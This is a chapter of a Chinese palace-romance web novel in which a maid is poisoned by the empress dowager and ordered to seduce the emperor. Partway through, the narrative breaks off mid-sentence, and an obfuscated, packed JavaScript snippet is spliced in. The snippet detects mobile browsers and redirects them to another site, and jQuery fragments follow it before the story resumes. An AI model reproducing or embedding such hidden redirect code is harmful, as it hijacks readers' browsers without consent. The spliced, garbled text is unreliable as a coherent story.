听见她的话,苏盼月的白眼都要翻上天了,为什么太后会觉得自己能去勾引那位暴君啊。
她正绞尽脑汁想办法拒绝,突然灵机一动,想起来昨日的那位户部侍郎。
“太后娘娘,奴婢只是一个伺候人的宫女,哪有这般本事。”
“不过奴婢听说,户部侍郎的千金得了陛下青眼,今日便要入宫了。”
她的话成功转移了太后的注意力。
太后问:“哦?此事当真?”
苏盼月恭敬道:“奴婢亲耳所闻,太后娘娘不若提早打算。”
太后看了眼苏盼月,明眸皓齿,纵使是跪在地上也能看出女子曼妙有致的身姿。
心念一转,太后:“此事哀家自有打算,这是哀家赏赐给你的胭脂水粉,你去见皇帝的时候务必用上,早日获宠,也好早日帮哀家做事。”
一个小宫女应声端上一个托盘,上面放着两盒胭脂水粉,一锭金子,还有一杯茶水。
看见茶水的瞬间,苏盼月心里一咯噔,便听见太后接着说:
“这只是开始,日后哀家更少不了你的好处,你若愿意,便喝了这杯茶。”
苏盼月当然不愿意,叩首拒绝:“奴婢恐难成事。”
太后:“哀家的命令岂容你拒绝!”
一旁的宫女立刻上来拉苏盼月,要强行给她灌下那杯不知放了什么的茶水。
苏盼月眼见躲不过去了,连忙妥协:“我自己喝!”
说着便端起茶杯,闭上眼睛一饮而尽。
太后笑了:“算你有些眼力见,这茶里的毒七日发作,哀家便给你七日时间,去吧。”
苏盼月拿上太后给的东西离开慈宁宫,一路浑浑噩噩地回到自己的宫女房,完全没有发现自己的隔壁住进了新人。
她猛灌了两杯水,然后开始扣嗓子眼催吐,最后胆汁都吐干净了,才筋疲力竭地倒在床上。
虽然不知道这毒吐出来没有,但是没有什么事情比抓紧补个觉重要了。
可是苏盼月刚闭上眼睛没多久,便有人敲门。
她把头埋进被子里,充耳不闻。
可是门外的拍门声越来越大,还能听见女子叫喊的声音。
苏盼月实在被吵得没哲了,掀开被子,盯着乱糟糟的头发去开门。
门外站着一身华服,明显精心打扮过的女子。
看见苏盼月出来,那女子的视线上下打量,看见她那脸的时候顿了片刻,却在看见她那身宫女服后恢复了颐指气使的模样。
她掐着腰说:“你去帮我打扫一下隔壁。”
苏盼月一脸莫名,这女人的一身打扮看起来并不像是宫里的主子,于是问道:“请问你是?”
那女子斜着眼看了她一眼,高声道:“我是卢婷玉,我父亲是户部侍郎。”
苏盼月想起来了,原来是昨日那个被谢兰舟骂了一顿的户部侍郎的女儿,只是这女子不是被谢兰舟收入后宫了吗,怎么会出现在这里。
她好心提醒:“卢小姐,你好像走错了,这便是下人住的地方。”
此话一出,那卢婷玉的脸色一阵红一阵白,吭哧了半天才说:“陛下就是,就是让我住在这儿!”
苏盼月便懂了,试探问:“陛下要你当宫女伺候?”
卢婷玉眼眶都红了,头却不曾低下:“是又如何,这只是暂时的,我可不会像你一样做一辈子宫女,只待陛下发现我的好。”
苏盼月点头:“是是是,你说的都对,没什么事儿我先回去睡了。”
卢婷玉伸手想去拽她:“你得给我收拾屋子!”
苏盼月反应极快,一个闪身回了屋内,扒在门口说:“抱歉哈,我只伺候陛下。”
说罢直接把门关了,重新躺会床上,门外的女子闹了一会儿,也悻悻离开。
重新安静下来,苏盼月开始思考现在该怎么办。
太后今日找她的时候,她还以为陛下要将户部侍郎女儿纳入后宫,结果转头她竟成了宫女。
不知是触了陛下什么霉头,现在看来是指望不上了。
太后给她下的毒只有七日时间,若她真去勾引陛下,说不定当场就毙命了。
悲伤地叹了口气,看来这次是注定难逃一死了。
至于勾引陛下?那是她重生以后再没有过的念头了。
走投无路之下,她竟然睡着了。
再醒来以后已是晌午,约莫是陛下用膳的时间,她爬起来随便梳了个头便去养心殿准备侍膳。
走到殿外,却被福公公拦了下来,他的神色有些为难:“苏姑娘,陛下现下不用你侍膳,你回去吧。”
苏盼月愣了片刻,才缓缓点头:“我知道了,福公公。”
回去的路上,苏盼月边踢着石子边在心里骂谢兰舟:有了新人就不见旧人了,她还不想伺候了呢。
边想心事边走,她不知不觉间回了尚膳房。
崔姑姑正在指挥宫女太监干活,见她回来,崔姑姑放下手里的活计,上前来问她:“正是当值的时候,你怎的现在回来了?”
苏盼月瘪了瘪嘴,闷闷地说:“陛下不用我伺候,我回来看看你。”
崔姑姑一眼便看出了她心情不好。
拉着她去了一边的小房间,又端了两道菜过来,“吃罢,什么事能有吃饭重要啊。”
苏盼月这才感觉肚子里空荡荡的,哪怕早上吃了些东西,方才也被她吐了个干干净净。
想到此处,她又委屈了起来,太后给她下毒让她接近陛下,可她现在见都见不到陛下,纵使她鼓起勇气去勾引陛下,也无非是落得跟上辈子一样的下场。
苏盼月越想越难受,偷偷落下泪来,不想让崔姑姑发现,她忙装作低头吃饭,泪水就着手里的米饭被她吞了进去。
崔姑姑什么都没说,只在一旁给她夹菜。
苏盼月吃饱了,眼泪也止住了,抱住了崔姑姑的胳膊,小声说道:“我的命好苦啊。”
多的她不能再说了,她的这些事情告诉任何人都是害了他。
崔姑姑也没问,只是拍了拍她的手:“别为难自己,从心而为,船到桥头自然直。”
苏盼月若有所思地点了点头,在尚膳房呆了一下午,打打杂聊聊天,仿佛又回到了刚进宫的那段日子。
她突然觉得,若是自己这辈子只剩七天了,就该什么都不想,怎么开心怎么过活。
于是晚上陛下身边的小太监来尚膳房取晚膳的时候,恰巧看见苏盼月,惊讶地问她为何在这儿,怎么不回养心殿伺候。
苏盼月大放厥词:“陛下不用我伺候,我便不回去了。”
那小太监奇怪地看了她一眼,匆匆离开了。
苏盼月说出这话以后,心中都松了一口气,最后的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315173|182956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间,她可不想过每日起得比鸡早,还要整日提心吊胆的日子了。
于是第二日她干脆睡了个自然醒,完全将卯时要去伺候的事情抛之脑后。
陛下也没有派人来找她,苏盼月说不上来是高兴还是失落。
陛下日理万机,围在身边伺候的人也只多不少,又怎么会关注这种小事呢。
苏盼月就这般每日睡大觉,睡醒去尚膳房蹭吃蹭喝,舒舒服服地又过了三日。
但是她心中一直有一根弦,逐渐绷紧,直到七日之限的倒数第二日。
苏盼月终于有些焦虑了,她翻出了太后给的胭脂水粉,摆在桌上。
打开只能闻见浓郁到刺鼻的脂粉味,其余的好像没有什么异常。
苏盼月对着两盒脂粉发了会儿呆,逐渐感觉脑袋昏昏沉沉的。
脑海中不自觉地浮现出谢兰舟那张矜贵不染尘俗的脸,想起替他更衣时看见的宽肩窄腰,想起他搭箭挽弓时那虬结的手臂肌肉。
苏盼月莫名觉得有些口干舌燥,逐渐恶向胆边生,觉得自己死前都没尝过男人的滋味真是可惜了。
不如就他吧。
夜色正浓,一道纤细的身影一闪而过,直直冲着养心殿而去。
*养心殿内。
烛火昏黄,时不时被窗外的风吹动,忽明忽暗,变幻莫测。
苏盼月本就离得很近,这一路走来几乎是畅通无阻,走到殿门外她才放慢了脚步。
缓缓推开殿门,里面空无一人。
一路而来,夏夜的微风让苏盼月清醒了几分,此刻站在殿内突然有些后悔。
腿像是灌了铅一般沉重,不能再往前一步,脑子里却有两个小人在天人大战:
一个小人说【明日便要死了,还不抓紧快活一回,把这全天下最尊贵的男人吃干抹净!】
另一个小人说【本来明日才死,你若是现在进去,下一秒你就要一命呜呼了!】
苏盼月晃了晃头,也没能清明几分,最终还是冲动战胜了理智,她深吸一口气入了后殿。
她绕过那熟悉的屏风,看见床上闭目而卧的男人。
她小声喊了句“陛下”,就脚步虚浮地往床边走,全然没注意到男人的手摆了一下,一道黑影消失无踪。
真走到床边了,嗅到男人身上淡淡的龙涎香,苏盼月心里平和几分,失去了所有力气一般缓缓坐在脚踏边。
【难道又要死在这里了吗?】
苏盼月想着想着悲从中来,缓缓抱住了双膝,把头埋在腿上,眼泪扑簌簌落了下来。
【生来便爹不疼娘不爱,处处看人眼色,好不容易活了下来,又要被皇帝凶,被太后利用,下人的命便不是命嘛呜呜呜。】
她哭得专注,没发现床上的男人早睁开了眼睛,双眸沉沉地看着她。
从谢兰舟的角度,只能看见她纤细的脖颈和一抽一抽的肩膀。
他沉默地听着女子断断续续的心声,大多是哭诉命运不公,夹杂着对他和太后的不满。
只是这她在心中骂的什么混蛋之类的话,在谢兰舟这里都算不上什么,他曾听过太多比这刻薄百倍的谩骂和诅咒。
过了一刻钟,苏盼月哭够了,抓着床侧垂下的锦缎背面擦了擦眼泪,想起自己来这儿的目的。
【来都来了,我今日必要将他吃干抹净,牡丹花下死,做鬼也风流!】